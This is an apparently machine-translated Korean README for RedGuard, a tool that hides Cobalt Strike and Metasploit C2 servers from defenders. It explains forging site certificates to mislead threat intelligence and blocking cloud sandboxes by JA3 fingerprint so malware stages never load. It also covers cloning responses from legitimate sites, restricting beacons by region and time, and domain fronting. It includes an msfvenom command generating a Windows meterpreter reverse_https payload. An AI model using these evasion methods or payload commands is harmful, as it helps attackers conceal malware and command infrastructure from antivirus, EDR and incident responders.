RedGuard
RedGuard 24.06.18
영어 | 중국어(중국어)
명령 및 제어(C2) 전면 흐름 제어 기술을 기반으로 한 파생 도구인 RedGuard는 더 가벼운 디자인, 효율적인 트래픽 상호 작용, Go 프로그래밍 언어 개발과의 안정적인 호환성을 갖추고 있습니다. 사이버 공격이 끊임없이 진화함에 따라 레드 앤 블루 팀 훈련이 점점 더 복잡해짐에 따라 RedGuard는 C2 채널에 대한 흐름 제어를 제공하고 "악성" 분석 트래픽을 차단하며 전체 공격 작업을 더 잘 완료하는 레드팀을 위한 더 나은 C2 채널 숨기기 솔루션을 제공하도록 설계되었습니다.
RedGuard는 Blue Team, AVS, EDR, Cyberspace Search Engine 감지를 회피할 수 있는 C2 전면 흐름 제어 도구입니다.
컴파일된 버전을 직접 다운로드하여 사용할 수도 있고, 독립적인 컴파일 및 실행을 위해 원격으로 go 패키지를 다운로드할 수도 있습니다.
git clone https://github.com/wikiZ/RedGuard.git
cd RedGuard
# You can also use upx to compress the compiled file size
go build -ldflags " -s -w " -trimpath
# Give the tool executable permission and perform initialization operations
chmod +x ./RedGuard && ./RedGuard
아래 그림과 같이 실행 권한을 설정하고 RedGuard를 초기화합니다. 첫 번째 실행에서는 유연한 기능 구성을 달성하기 위해 현재 사용자 홈 디렉터리에 구성 파일을 생성합니다. 구성 파일 이름: .RedGuard_CobaltStrike.ini .
구성 파일 내용:
cert의 구성 옵션은 주로 샘플과 C2 전면 인프라 간의 SSL 인증서 암호화된 HTTPS 통신의 구성 정보를 위한 것입니다. 프록시는 주로 역방향 프록시 트래픽의 제어 옵션을 구성하는 데 사용됩니다. 구체적인 용도는 아래에서 자세히 설명하겠습니다.
SSL 인증서 암호화된 HTTPS 통신은 RedGuard가 실행되는 디렉터리 아래의 cert-rsa/ 디렉터리에 생성됩니다. 구성 파일을 수정하여 도구의 기본 기능을 시작하고 중지할 수 있습니다 (인증서의 일련번호는 타임스탬프에 따라 생성됩니다. 이 기능과 연결되는 것에 대해 걱정하지 마십시오) . 자체 인증서를 사용하려는 경우 ,이름을 ca.crt 및 ca.key로 바꾸세요.
openssl x509 -in ca.crt -noout -text
RedGuard가 시작될 때마다 무작위 TLS JARM 지문이 업데이트되어 이것이 C2 인프라를 인증하는 데 사용되는 것을 방지합니다.
자체 인증서를 사용하는 경우 구성 파일의 HasCert 매개변수를 true 로 수정하여 JARM 난독화 무작위화로 인해 발생하는 사용자 정의 인증서와 CipherSuites 암호화 제품군의 비호환성으로 인해 발생하는 일반적인 통신 문제를 방지합니다.
# Whether to use the certificate you have applied for true/false
HasCert = falseC2 트래픽을 숨기기 위해 도메인 프론팅을 배포할 때 가속 도메인 이름에는 기본적으로 HTTPS 인증서 정보가 없습니다. 이는 분명히 문제가 있는 부분이므로 도메인 이름 구성 시 인증서 구성에 주의가 필요합니다. 이는 샘플이 도메인 프런트 엔드 트래픽인지 여부를 결정하는 기본 기준이기도 합니다.
[^Tencent Cloud]: 콘텐츠 전송 네트워크 인증서 구성
구성된 인증서를 얻으려면 어떻게 해야 합니까? 를 읽고 나면 누구나 몇 가지 질문을 갖게 될 것입니다. 인증서에 대한 자체 애플리케이션을 사용하는 경우 우리가 기대하는 익명성 효과를 충족하지 못합니다. 여기서 구성을 위해 복제된 인증서를 사용할 수 있습니다. Tencent Cloud를 예로 들면, 테스트에서 사용자 정의 업로드 인증서의 유효성을 확인하지 못하는 것으로 나타났습니다. 가속 도메인 이름의 실제 사이트와 동일한 인증서를 사용하여 위조할 수 있습니다. 정상적인 상황에서 CS의 기본 인증서를 교체할 때 위조된 인증서는 통신할 수 없지만, 클라우드 서비스 제공업체 CDN 전체 사이트 가속 및 RedGuard에 배포하면 유효성을 확인하지 않으며 C2 대화형 트래픽은 정상적으로 통신할 수 있습니다.
다음은 Github에 있는 기존 프로젝트 주소입니다.
https://github.com/virusdefender/copy-cert샘플 도메인의 프런트엔드 트래픽측 인증서는 해결되었으나 대규모 네트워크 매핑 관점에서 볼 때 우리 C2 서버는 여전히 외부에 노출되어 있어 여전히 감지되어 실제 C2 서버와 연관될 수 있습니다. . 이때 RedGuard를 사용하여 C2의 전면 기본 인증서를 수정하여 익명성을 확보할 수 있습니다.
[^인텔리전스 정보]: TLS 인증서
위는 C2 서버의 위조 인증서로 인한 영향입니다. Threatbook 커뮤니티의 인텔리전스에서 신뢰할 수 있고 만료되지 않았음을 알 수 있습니다. 디지털 인증서를 얻는 주된 방법은 클라우드 샌드박스에서 샘플 분석 시 실시간으로 추출하고 업데이트하는 것이지만, 당연히 효과적으로 검증되지는 않습니다. 상태 값은 만료 시간만 확인합니다. 인증서 신뢰 검증은 정상적인 통신이 가능한지 여부만을 기반으로 해야 합니다.
Threatbook 인텔리전스는 인증서 인텔리전스를 사용하여 샘플 요청의 SNI 및 HOST 주소를 표시하지 않는다는 점에 유의해야 합니다. 이는 실제로 오탐(false positive)을 방지하기 위한 것입니다. 나는 이것이 옳다고 생각한다. 분석에서 연구원을 지원하는 중요한 기반으로서, 위협 인텔리전스는 잘못된 방향을 가리키는 것보다 불완전한 것이 더 낫습니다. 이로 인해 후속 분석에서 오판이 발생할 수 있습니다. 전체 사이트 가속을 위한 인증서 구성이 통신 트래픽에 대한 인증서를 위조하는 것이라면 RedGuard C2의 사전 응답 인증서를 구성하는 것은 공용 네트워크에 배포된 실제 C2 서버의 동작 특성을 위조하여 매핑 방지 효과를 달성하는 것입니다. 매우 필요합니다.
인증서 일련 번호: 55e6acaed1f8a430f9a938c5 를 추출하고 HEX 인코딩을 수행하여 TLS 인증서 지문: 26585094245224241434632730821 을 얻습니다.
| IP | 포트 | 규약 | 서비스 | 국가 | 도시 | 제목 | 시간 |
|---|---|---|---|---|---|---|---|
| 103.211.xx.90 | 443 | https | 아파치 httpd | 중국 | 쑤저우 | 百島图picture-发现多彩world(다채로운 세계) | 2023-08-28 |
| 223.113.xx.207 | 443 | https | JSP3 | 중국 | 쉬저우 | 403 금지됨 | 2023-08-28 |
| 223.112.xx.48 | 443 | https | JSP3 | 중국 | 쉬저우 | 403 금지됨 | 2023-08-28 |
| 223.113.xx.40 | 443 | https | JSP3 | 중국 | 쉬저우 | 403 금지됨 | 2023-08-28 |
| 223.113.xx.31 | 443 | https | JSP3 | 중국 | 405 허용되지 않음 | 2023-08-28 | |
| 223.113.xx.206 | 443 | https | JSP3 | 중국 | 쉬저우 | 403 금지됨 | 2023-08-28 |
검색결과 금액 : 2291
사이버 공간 매핑을 통해 2,291개의 독립 IP 주소가 발견되었으며, 확인 결과 모두 Baidu에 속한 TLS 인증서가 있음이 확인되었습니다. 통신 트래픽만으로는 악성 통신인지 판단하기 어렵습니다. 그러나 도메인 프런트엔드 + C2 프런트엔드 트래픽 시설에 대한 TLS 인증서가 위조되어 공간 매핑 및 위협 인텔리전스를 성공적으로 방해하여 잘못된 정보 연관을 유발하고 공격자의 트래픽 특성을 보다 현실적으로 만들어 정상적인 위조 목적을 달성했습니다. 통신 트래픽.
C2 트래픽 프런트 엔드 시설 이전에 숨겨진 포워딩 처리가 없더라도 RedGuard 인증서를 변경하는 것이 가장 좋습니다. 기본적으로 현재 사이버 공간 매핑에 사용되는 공통 구성 요소의 지문 식별을 통해 형성된 모든 지문 라이브러리는 식별을 위해 공통 구성 요소의 기본 구성 특성 동작을 사용합니다. 이러한 사용자 정의 프로세스 중에 그룹마다 서로 다른 고유한 특성이 나타날 수 있습니다. 물론, 지문을 형성하려면 대상의 기본 특성을 추출하고 관련 지문을 형성하기 위해 대상 구성 요소에 대한 어느 정도 이해가 필요합니다. 여기서 RG 인증서의 동작 특성은 공용 네트워크에 배포된 다수의 RG 노드와 관련된 사이버 공간 매핑에 사용됩니다.
작성자가 지문을 추출한 것은 놀라운 일이 아니지만, 그래도 RedGuard 사용자는 기본 인증서 정보를 수정하여 전문 해커가 되는 것이 좋습니다 :)
root@VM-4-13-ubuntu: ~ # ./RedGuard -h
Usage of ./RedGuard:
-DelHeader string
Customize the header to be deleted
-DropAction string
RedGuard interception action (default " redirect " )
-EdgeHost string
Set Edge Host Communication Domain (default " * " )
-EdgeTarget string
Set Edge Host Proxy Target (default " * " )
-FieldFinger string
Set HTTP Header identification field Info
-FieldName string
Set the name of the HTTP Header identification field
-HasCert string
Whether to use the certificate you have applied for (default " true " )
-allowIP string
Proxy Requests Allow IP (default " * " )
-allowLocation string
Proxy Requests Allow Location (default " * " )
-allowTime string
Proxy Requests Allow Time (default " * " )
-common string
Cert CommonName (default " *.aliyun.com " )
-config string
Set Config Path
-country string
Cert Country (default " CN " )
-dns string
Cert DNSName
-host string
Set Proxy HostTarget
-http string
Set Proxy HTTP Port (default " :80 " )
-https string
Set Proxy HTTPS Port (default " :443 " )
-ip string
IPLookUP IP
-locality string
Cert Locality (default " HangZhou " )
-location string
IPLookUP Location (default "风起" )
-malleable string
Set Proxy Requests Filter Malleable File (default " * " )
-organization string
Cert Organization (default " Alibaba (China) Technology Co., Ltd. " )
-redirect string
Proxy redirect URL (default " https://360.net " )
-type string
C2 Server Type (default " CobaltStrike " )
-u Enable configuration file modificationPS 매개변수 명령을 사용하여 구성 파일을 수정할 수 있습니다. 물론 vim으로 수동으로 수정하는 것이 더 편리할 수도 있다고 생각합니다.
역방향 프록시의 포트에 직접 접근하면 차단 규칙이 실행됩니다. 여기에서 출력 로그를 통해 클라이언트 요청의 루트 디렉터리를 볼 수 있지만 요청이 올바른 HOST 요청 헤더인 요청된 자격 증명을 전달하지 않기 때문에 기본 차단 규칙이 트리거되고 트래픽이 https:/로 리디렉션됩니다. /360.net
다음은 출력의 데모입니다. 실제 사용은 nohup ./RedGuard & 통해 백그라운드에서 실행될 수 있습니다.
{ " 360.net " : " http://127.0.0.1:8080 " , " 360.com " : " https://127.0.0.1:4433 " }위의 슬라이스에서 360.net은 로컬 포트 8080으로 프록시되고, 360.com은 로컬 포트 4433으로 프록시되며, 사용되는 HTTP 프로토콜도 다르다는 것을 쉽게 알 수 있습니다. 실제 사용에서는 리스너의 프로토콜 유형에 주의할 필요가 있습니다. 여기 설정과 일치하고 해당 HOST 요청 헤더를 설정합니다.
위 그림에서 볼 수 있듯이, 무단 접속의 경우 우리가 받는 응답 정보는 리디렉션된 사이트의 반환 정보이기도 합니다.
위의 기본 차단 사례에서는 기본 차단 방법을 사용하며, 불법 트래픽은 리디렉션을 통해 차단됩니다. 구성 파일을 수정하여 차단 방법과 리디렉션된 사이트 URL을 변경할 수 있습니다. 사실, 이것을 리다이렉트라고 부르기보다는 하이재킹, 클로닝이라고 표현하는 것이 더 적절할 것 같습니다. 왜냐하면 반환된 응답 상태 코드는 200이고, 복제/하이재킹된 웹사이트를 흉내내기 위해 다른 웹사이트에서 응답을 얻었기 때문입니다. 최대한 가깝게.
잘못된 패킷은 다음 세 가지 전략에 따라 잘못 라우팅될 수 있습니다.
# RedGuard interception action: redirect / rest / proxy (Hijack HTTP Response)
drop_action = proxy
# URL to redirect to
Redirect = https://360.net 리디렉션 = 구성 파일의 URL이 하이재킹된 URL 주소를 가리킵니다. RedGuard는 "핫 변경"을 지원합니다. 즉, 도구가 nohup 통해 백그라운드에서 실행되는 동안 구성 파일을 계속 수정할 수 있습니다. 콘텐츠가 실시간으로 시작되고 중지됩니다.
./RedGuard -u --drop true 명령줄을 통해 구성 파일을 수정할 때 -u 옵션이 누락되어서는 안 됩니다. 그렇지 않으면 구성 파일을 성공적으로 수정할 수 없습니다. 기본 구성 파일 설정을 복원해야 하는 경우 ./RedGuard -u 만 입력하면 됩니다.
또 다른 차단 방법은 HTTP 통신 응답을 직접 닫고 DROP = true 로 설정하여 활성화되는 DROP입니다. 구체적인 차단 효과는 다음과 같습니다.
C2 전면 흐름 제어는 HTTP 응답 코드 없이 불법적인 요청에 대한 응답을 직접 종료하는 것을 볼 수 있습니다. 사이버 공간 매핑 탐지 시 DROP 방법을 사용하면 포트 개방을 숨길 수 있습니다. 구체적인 효과는 다음과 같은 경우에 볼 수 있습니다. 분석하다.
많은 사용자들이 하이재킹 대응 에 관심을 가질 것이라고 믿습니다. 일반적인 원칙은 클라이언트가 실제 C2 서버에 요청을 시작하면 인바운드 규칙을 충족하지 않기 때문에 C2 서버는 지정된 일반 사이트를 획득하고 응답 정보를 반환한다는 것입니다. 따라서 효과 요청 측에서는 IP 서비스와 상호 작용하는 것으로 보이지만, 실제로는 중간 C2 서버를 프록시 서버로 사용해 일반 사이트와 상호 작용하고 있어 이상 현상을 발견하기 어렵다. 인바운드 요청을 충족하면 트래픽 요청이 실제 C2 서비스 청취 포트로 전달되어 상호 작용하며, 실제 청취 포트는 클라우드 방화벽에 의해 필터링되어 로컬 액세스만 허용되며 외부에서 직접 액세스할 수 없습니다. . 그러니까 외부 포트 개방이라는 관점에서 보면 HTTP/S 포트만 열려 있고 어떤 의미에서는 이것이 그야말로 C2의 온라인 포트인 셈입니다.
[^트래픽 흐름도]: C2 서버 트래픽 상호작용 과정
사이버 공간 매핑 데이터에서 IP의 HTTP/S 오픈 포트 응답 코드는 307 점프가 아닌 200으로 더 확실합니다.
HTTPS 인증서는 위에서 언급한 위조 인증서와 동일한 효과를 가지며, 둘 다 실제 인증서의 지문입니다.
나는 많은 레드팀이 프로젝트를 진행하는 과정에서 클라우드 기능/도메인 프론팅과 같은 은폐 방법을 널리 사용할 것이라고 믿습니다. 그러나 오늘날의 공격 및 방어 대결에서 위의 두 가지 은폐 방식은 C2 서비스에 직접 연결될 수 있다는 치명적인 문제를 안고 있다. 그 결과 의심할 여지없이 클라우드 기능 주소나 도메인 프론팅의 대화형 IP/HOST를 파악하면 C2 청취 서비스에 직접 접속하여 공격 시설임을 입증할 수 있습니다.
트래픽이 바로 C2에 도달할 수 있기 때문에 SNI와 HOST가 일치하지 않는 트래픽에 대해 보안기기가 CS 스캐닝을 수행하여 악성 트래픽인지 여부를 확인할 수 있는지 고려해 볼 만하다. 클라우드 기능이나 샌드박스 환경에서도 마찬가지입니다. 샘플 측면 외에도 더 많은 트래픽 수준 분석 프로세스가 있을 수 있습니다.
하이재킹 대응 후 HTTP 서비스에 직접 접속하면 정상적으로 웹사이트와 상호작용할 수 있지만, Cscan은 트래픽이 실제 C2 리스너에 도달하지 못하기 때문에 샘플 정보를 스캔할 수 없습니다. 정상적인 C2 상호작용은 트래픽 시작의 특성이 충족되어야만 가능합니다. 그러나 문제가 있습니다. C2 스캐닝 스크립트는 블루팀 분석가의 코딩 능력에 대한 특정 테스트를 수행하는 인바운드 규칙을 준수해야 합니다. 현재 공개 스캐닝 스크립트는 Nmap 형식입니다.
JA3은 클라이언트와 서버 간의 암호화된 통신을 위해 더욱 인식하기 쉬운 지문을 제공합니다. TLS 지문을 사용하여 악성 클라이언트와 서버 간의 TLS 협상을 식별함으로써 악성 클라이언트를 연결하는 효과를 얻습니다. 이 지문은 MD5 암호화를 사용하는 모든 플랫폼에서 쉽게 생성할 수 있으며 현재 위협 인텔리전스에 널리 사용되고 있습니다. 예를 들어, 일부 샌드박스의 샘플 분석 보고서에서 볼 수 있어 서로 다른 샘플 간의 상관 관계를 증명할 수 있습니다.
C2 서버와 악성 클라이언트의 JA3(S)를 마스터할 수 있다면 트래픽이 암호화되어 있고 C2 서버의 IP 주소나 도메인 이름을 알 수 없더라도 악성 클라이언트와 악성 클라이언트 간의 TLS 협상을 식별할 수 있습니다. TLS 지문 인식을 통해 서버. 이 내용을 보시면 누구나 이런 생각을 하실 것이라고 믿습니다. 이는 도메인 프론팅, 역방향 프록시, 클라우드 기능 등 트래픽 전달 은폐 방법을 처리하기 위한 조치이기도 합니다. 샌드박스 실행 샘플 식별 및 C2 통신 TLS 협상을 통해 위협 인텔리전스에 적용하여 보조 추적을 달성할 수 있는 JA3(S) 지문을 생성합니다.
2022년에 이 기술을 발표했습니다. 마이크로 스텝 샌드박스 환경을 테스트했을 때 상호작용을 요청하는 송신 IP의 수는 적지만, IP별로 샌드박스를 식별하는 것이 정확하지 않다는 것을 알게 되었고, 이는 쉽게 변경되는 기능이었습니다. , 그러나 JA3 지문은 동일한 시스템 환경에서 고유했습니다. 나중에 샌드박스가 지문 무작위화를 완료했다는 피드백을 받았지만 최근 테스트에서는 완전히 구현되지 않은 것으로 나타났습니다. 나는 여전히 교통 측면에서 지문 문제에 직면하기를 희망합니다.
클라우드 샌드박스 관점에서는 샘플과 C2 서버 간의 트래픽 상호작용을 모니터링하여 JA3(S) 핑거프린트를 생성하여 악성 클라이언트를 식별하고 연관을 맺는다. 반대로 생각하면 C2 앞의 트래픽 제어 시설로서 클라이언트 요청의 JA3 지문을 얻기 위해 이러한 작업을 수행할 수도 있습니다. 다양한 샌드박스 환경을 디버깅함으로써 이러한 JA3 지문을 획득하여 지문 라이브러리를 형성함으로써 기본적인 차단 전략을 형성합니다.
단계적인 트로이 목마 상호 작용 과정에서 로더가 먼저 원격 주소의 쉘코드를 가져오는 것을 상상해 보십시오. 그런 다음 트래픽이 요청이 JA3 지문 라이브러리의 클라우드 샌드박스 특성을 충족한다는 것을 식별하면 후속 요청을 차단합니다. 쉘코드를 획득하지 못하면 전체 로딩 과정을 완료할 수 없고, 샌드박스는 당연히 이를 완벽하게 분석할 수 없습니다. 환경이 무단계 트로이 목마인 경우 샌드박스 분석도 최종적으로 C2 서버에 업로드되지 않습니다. 다들 잠에서 깨어나 C2에 오랜 시간 보관된 샌드박스 레코드가 많이 걸려 있는 걸 발견했을 거라 믿습니다. 물론 이상적인 상태에서는 주로 지문 라이브러리의 신뢰성에 따라 달라지는 다양한 샌드박스 환경을 식별할 수 있습니다.
테스트 중에 ZoomEye GO 언어 요청 라이브러리의 JA3 지문을 지문 라이브러리에 추가하고 RG 요청 트래픽을 모니터링한 후 대부분의 요청이 JA3 지문 라이브러리 기능의 기본 차단을 트리거하는 것으로 나타났습니다. 여기서는 측량 및 매핑 제품의 기본 언어가 GO 언어로 구현된 스캐닝 작업의 일부라고 생각합니다. 링크를 통해 다양한 기본 언어로 구성된 스캐닝 로직이 마침내 전체 스캐닝 작업을 완료했습니다. 이는 또한 일부 측량 및 매핑 제품의 스캐닝이 GO 언어 요청 라이브러리의 JA3 지문 차단 기능을 트리거한 이유를 설명합니다. 인식 규칙 원리는 클라우드 샌드박스 지문과 동일합니다. 둘 다 요청 클라이언트 환경과 요청 라이브러리의 고유성을 사용합니다. PC 측과 달리 이들 제품의 요청 환경은 기본적으로 마음대로 변경되지 않으므로 트래픽 측 지문을 파악하고 가로채는 것도 가능 하므로 보안 장치가 능동 탐지의 JA3 지문을 사용할 수 있는지 생각해 볼 수 있습니까? 차단의 기초로 트래픽이 사용됩니까? 물론, 비즈니스 트래픽이 클 경우 어느 정도 잘못된 경보가 발생할 수 있습니다. 여기서는 이론적으로 실현 가능한 제품 요구 사항만 제안합니다.
PS 사용자는 샘플을 샌드박스에 업로드하여 JA3 지문을 획득 및 확인하고 지문 라이브러리에 추가할 수도 있습니다. 샌드박스에서 위의 지문이 아닌 JA3 지문만 변경하는 경우에는 의미가 없다는 점에 유의해야 합니다. 실제로 해결해야 할 점은 샌드박스가 동적 분석을 수행할 때마다 동일한 지문이 아니며 그 변경 사항이 최대한 반복되지 않는다는 요구 사항을 충족해야 한다는 것입니다. 반복률이 높으면 여전히 지문으로 사용됩니다.
현재 효과 시연으로 위협북 클라우드 샌드박스 식별 및 차단을 지원합니다.
구성 파일에서 다음 두 매개변수를 구성하면 역방향 프록시 포트를 변경하는 효과가 실현됩니다. 현재 서버 포트와 충돌하지 않는 한 숨김 기본 포트를 사용하는 것이 좋습니다. 수정해야 하는 경우 매개변수 값의 : 가 누락되지 않도록 주의하세요.
# HTTPS Reverse proxy port
Port_HTTPS = :443
# HTTP Reverse proxy port
Port_HTTP = :80블루팀 추적 동작은 대상 요청의 차단 로그를 통해 분석되며, 이는 피어 연결 이벤트/문제를 추적하는 데 사용될 수 있습니다. 로그 파일은 RedGuard가 실행 중인 디렉터리( 파일 이름: RedGuard.log ) 에 생성됩니다.
이 섹션에서는 요청의 실제 IP 주소를 얻기 위해 RG를 구성하는 방법을 설명합니다. C2 장치의 프로필에 다음 구성을 추가하기만 하면 대상의 실제 IP 주소는 요청 헤더 X-Forwarded-For를 통해 획득됩니다.
http-config {
set trust_x_forwarded_for " true " ;
} 구성 방법은 AllowLocation = Jinan, Beijing 예로 사용합니다. RedGuard는 역방향 IP 귀속을 위해 두 개의 API(중국 본토 사용자용과 중국 이외의 사용자용)를 제공하며, 대상이 중국인 경우 입력된 지리적 도메인 이름에 따라 사용할 API를 동적으로 할당할 수 있습니다. 설정된 지역에는 중국어를 사용하고, 그렇지 않으면 영어 지명을 사용합니다. 중국 본토 사용자는 중국어 이름을 사용하는 것이 좋습니다. 이를 위해 역질의를 통해 얻은 속성의 정확성과 API의 응답 속도가 최선의 선택입니다.
PS 중국 본토 사용자는 이 방법으로 AllowLocation = Jinan,beijing을 사용하지 마십시오! 별로 의미가 없습니다. 매개변수 값의 첫 번째 문자가 사용할 API를 결정합니다!
# IP address owning restrictions example:AllowLocation = 山东，上海，杭州 or shanghai,beijing
AllowLocation = * 
지역 제한을 결정하기 전에 다음 명령을 사용하여 IP 주소를 수동으로 쿼리할 수 있습니다.
./RedGuard --ip 111.14.218.206
./RedGuard --ip 111.14.218.206 --location shandong # Use overseas API to query여기서는 산동 지역만 온라인에 접속할 수 있도록 설정했습니다.
법적 트래픽:
잘못된 요청 영역:
지리적 제한의 연결에 관해서는 현재의 공격 및 방어 훈련에서 더 실용적일 수 있습니다. 기본적으로 도·자치단체의 공격·방어 훈련제한 대상은 지정된 지역에 있고, 그 외 지역에서 요청하는 교통은 자연스럽게 무시될 수 있다. RedGuard의 이 기능은 단일 지역을 제한할 수 있을 뿐만 아니라 지방 및 도시에 따라 여러 연결 지역을 제한하고 다른 지역에서 요청하는 트래픽을 차단할 수도 있습니다.
RedGuard에는 사이버 보안 업체의 IP 블랙리스트가 내장되어 있는 것 외에도 화이트리스트 방식에 따라 제한할 수도 있습니다. 실제로 웹 침투 중에 화이트리스트에 따라 온라인 IP 주소를 제한하여 IP 주소를 여러 방식으로 분할할 수도 있다고 제안합니다.
# Whitelist list example: AllowIP = 172.16.1.1,192.168.1.1
AllowIP = 127.0.0.1
위 그림과 같이 127.0.0.1 연결만 허용하도록 제한하면 다른 IP의 요청 트래픽은 차단됩니다.
이 기능이 더 흥미롭습니다. 구성 파일에 다음 매개변수 값을 설정하면 교통 통제 시설이 오전 8시부터 오후 9시까지만 연결할 수 있음을 의미합니다. 여기서 구체적인 적용 시나리오는 지정된 공격 시간 동안 C2와의 통신을 허용하고 다른 시간에는 침묵을 유지한다는 것입니다. 이를 통해 레드 팀은 밤에 근무 중인 일부 블루 팀이 지루해 트로이 목마를 분석한 후 잠에서 깨어나 설명할 수 없는 일이 일어나는 것을 걱정하지 않고 숙면을 취할 수 있습니다. 하하하.
# Limit the time of requests example: AllowTime = 8:00 - 16:00
AllowTime = 8:00 - 21：00
RedGuard는 Malleable C2 프로필을 사용합니다. 제공된 확장 가능한 구성 파일 섹션을 구문 분석하여 계약을 이해하고 계약을 충족하는 인바운드 요청만 전달하는 동시에 다른 요청은 오해하게 만듭니다. http-stager , http-get 및 http-post 와 해당 URI, 헤더, User-Agent 등과 같은 부분은 관련 없는 인터넷 노이즈 또는 IR/AV/EDR 범위를 벗어난 패킷과 합법적인 비콘 요청을 구별하는 데 사용됩니다.
# C2 Malleable File Path
MalleableFile = /root/cobaltstrike/Malleable.profile
风起이 작성한 프로필을 사용하는 것이 좋습니다.
https://github.com/wikiZ/CobaltStrike-Malleable-Profile
Cobalt Strike 4.7+에서 Teamserver는 알림 없이 자동으로 Content-Encoding 헤더를 제거하므로 잠재적으로 가변적인 http-(get|post).server 위반이 발생할 수 있습니다. 또한 CS 서버 응답 메시지에 Content-type이 없는데 RedGuard에 의해 전달된 후 응답 메시지 헤더에 Content-Type이 추가되어 cf가 페이지를 캐시하게 되어 간섭이 발생하게 됩니다.
RedGuard 23.08.21 이후 응답 패킷의 헤더를 커스터마이징하는 기능이 추가되었습니다. 사용자는 잘못된 구문 분석 문제를 해결하기 위해 구성 파일을 수정하여 응답 패킷의 헤더 정보를 사용자 정의하고 삭제할 수 있습니다.
# Customize the header to be deleted example: Keep-Alive,Transfer-Encoding
DelHeader = Keep-Alive,Transfer-EncodingRedGuard 23.05.13은 동일한 C2 리스너 /헤더 호스트를 고유하게 식별하기 위한 지문 " 샘플 솔트 값 "으로 Malleable Profile의 HTTP 헤더 필드를 사용자 정의하는 것을 기반으로 하는 트로이 목마 샘플 지문 인식 기능을 업데이트했습니다. 또한 다른 관련 요청 필드를 결합하여 생성된 트로이 목마 샘플 지문을 사용하여 사용자 지정 샘플 활동성을 탐지할 수 있습니다. 공격자의 작업 요구 사항에 따라 트로이 목마 샘플 지문 인식 기능은 비활성화하려는 샘플에 대해 " 오프라인 작업 "을 수행하여 샘플 통신 및 단계적 샘플 PAYLOAD 공격 페이로드 획득 분석에 대한 악성 트래픽 분석을 더 잘 회피하고 더 많은 기능을 제공할 수 있습니다. 공격자를 위한 맞춤형 스텔스 조치.
다양한 C2 리스너의 경우 Malleable Profile 구성에 다양한 별칭을 제공하고, 관련 헤더의 필드 이름과 값을 샘플 솔트 값으로 사용자 정의하고, 이를 다양한 샘플 간의 구별 중 하나로 사용할 수 있습니다. 다음 코드는 설명을 위한 것이며 실제 공격 및 방어 시나리오에서는 보다 현실적인 HTTP 요청 패킷 필드를 판단 기준으로 사용할 수 있습니다.
http-get " listen2 " {
set uri " /image.gif " ;
client {
header " Accept-Finger " " 866e5289337ab033f89bc57c5274c7ca " ; //Custom HTTP Header and Value
metadata {
print
}
}
}HTTP 트래픽
그림과 같이 위의 샘플 Salt 값과 Host 필드를 지문 생성의 기초로 사용합니다. 여기서 우리는 다음을 알고 있습니다.
위의 값을 접합하면 다음과 같이 샘플 지문이 얻어집니다.
22e6db08c5ef1889d64103a290ac145c이제 위의 샘플 지문을 알았으므로 악의적인 트래픽 차단을 위해 RedGuard 구성 파일에서 사용자 지정 헤더 필드와 샘플 지문을 설정할 수 있습니다. 쉼표로 구분된 여러 샘플 지문을 확장할 수 있으며 FieldName은 가변 프로필에 구성된 헤더 필드 이름과 일치해야 한다는 점은 주목할 가치가 있습니다.
RedGuard의 구성 파일은 핫 구성이므로 비활성화하려는 샘플을 가로채기 위해 RedGuard를 다시 시작할 필요가 없습니다. 샘플을 다시 활성화하려면 RedGuard 구성 파일에서 관련 샘플 지문을 삭제하기만 하면 됩니다.
데모 효과:
위 방법에 문제가 있을 경우 실제 온라인 C2 서버는 방화벽에 의해 직접적으로 차단될 수 없습니다. 왜냐하면 역방향 프록시에서의 실제 로드 밸런싱 요청은 클라우드 서버 제조사의 IP에 의해 이루어지기 때문입니다.
단일 전투에서는 클라우드 서버 방화벽에 차단 규칙을 설정할 수 있습니다.
그런 다음 프록시가 가리키는 주소를 https://127.0.0.1:4433으로 설정합니다.
{ " 360.net " : " http://127.0.0.1:8080 " , " 360.com " : " https://127.0.0.1:4433 " }그리고 우리의 기본 검증은 HTTP HOST 요청 헤더를 기반으로 하기 때문에 HTTP 트래픽에서 보는 것도 도메인 프론팅 방식과 동일하지만 비용이 더 저렴하고 클라우드 서버가 하나만 필요합니다.
리스너 설정의 경우 HTTPS Port (C2) RedGuard 리버스 프록시 포트로 설정되고, HTTPS Port (Bind) 는 로컬 머신의 실제 연결 포트입니다.
트로이 목마 생성
$ msfvenom -p windows/meterpreter/reverse_https LHOST=vpsip LPORT=443 HttpHostHeader=360.com
-f exe -o ~ /path/to/payload.exe물론, 도메인 프론팅 시나리오로서 제조업체 CDN의 도메인 이름을 사용하도록 LHOST를 구성하고 RedGuard와 일치하도록 HttpHostHeader를 설정하는 데 주의할 수도 있습니다.
setg OverrideLHOST 360.com
setg OverrideLPORT 443
setg OverrideRequestHost true OverrideRequestHost 설정을 true 로 설정해야 한다는 점에 유의하는 것이 중요합니다. 이는 스테이징 페이로드를 위한 구성을 생성할 때 Metasploit이 기본적으로 들어오는 HTTP/S 요청을 처리하는 방식의 기능 때문입니다. 기본적으로 Metasploit은 LHOST 매개변수 대신 2단계 구성을 위해 들어오는 요청의 Host 헤더 값(있는 경우)을 사용합니다. 따라서 CloudFront는 전달된 요청의 Host 헤더에 내부 도메인을 전달하므로 빌드 단계에서는 숨겨진 도메인 이름으로 직접 요청을 보내도록 구성됩니다. 이것은 분명히 우리가 요구하는 것이 아닙니다. OverrideRequestHost 구성 값을 사용하면 Metasploit이 수신 Host 헤더를 무시하고 대신 원본 CloudFront 도메인을 가리키는 LHOST 구성 값을 사용하도록 할 수 있습니다.
리스너는 RedGuard가 실제로 전달하는 주소와 일치하는 실제 회선 포트로 설정됩니다.
RedGuard가 요청을 받았습니다:
아래 그림에 표시된 것처럼 차단 규칙이 DROP으로 설정되면 공간 매핑 시스템 프로브는 역방향 프록시 포트의 / 디렉터리를 여러 번 검색합니다. 이론적으로 매핑을 통해 전송된 요청 패킷은 그림과 같이 일반 트래픽으로 위장됩니다. 그러나 여러 번 시도한 후 요청 패킷의 서명이 RedGuard의 릴리스 요구 사항을 충족하지 않기 때문에 모두 Close HTTP로 응답합니다. 측량 및 매핑 플랫폼에 표시되는 최종 효과는 역방향 프록시 포트가 열려 있지 않다는 것입니다.
아래 그림에 표시된 트래픽은 차단 규칙이 리디렉션으로 설정된 경우 매핑 프로브가 응답을 수신하면 디렉터리를 계속 검색한다는 것을 의미합니다. User-Agent는 무작위이며 정상적인 트래픽 요청과 일치하는 것으로 보이지만 둘 다 성공적으로 차단되었습니다.
매핑 플랫폼 - 하이재킹 응답 차단 모드 효과:
측량 및 매핑 플랫폼 - 리디렉션 차단 효과:
